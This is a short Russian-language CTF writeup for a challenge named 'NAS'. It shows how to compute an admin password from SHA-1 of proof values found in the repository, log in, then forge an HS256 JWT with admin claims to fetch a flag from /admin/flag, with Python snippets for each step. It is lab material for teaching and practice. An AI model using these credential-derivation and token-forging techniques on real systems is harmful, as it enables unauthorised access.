# Writeup для NAS (русская версия) ## Цель Зайти в хранилище ## 1 Задание Посчитать пароль админа и войти Пароль админа — первые 12 символов: ``` sha1(KETTLE_PROOF + ":" + PRINTER_PROOF) находим из исходников репозитория Входим ``` Пример: ```python import hashlib admin_pass = hashlib.sha1(f"{KETTLE_PROOF}:{PRINTER_PROOF}".encode()).hexdigest()[:12] print(admin_pass) ``` Логин: `/login` с: ``` username=admin password= ``` Сохраните cookie `sid` из ответа. Получаем доступ к файлу .wav Дальше решение из папки Stegano. ## 2 задание Сковать bearer JWT и забрать финальный флаг `/admin/flag` требует: - cookie `sid` (админская сессия) - `Authorization: Bearer ` Ограничения на payload: - `role: "admin"` - `kpf: ` - `aud: "nas-admin"` - `iat`: текущее UNIX‑время (допуск примерно ±120 сек) Пример: ```python import time, jwt payload = { "role": "admin", "kpf": KETTLE_PROOF, "aud": "nas-admin", "iat": int(time.time()), } token = jwt.encode(payload, JWT_SECRET, algorithm="HS256") print(token) ``` Запрос: ``` GET /admin/flag Cookie: sid= Authorization: Bearer ``` В ответе — финальный флаг.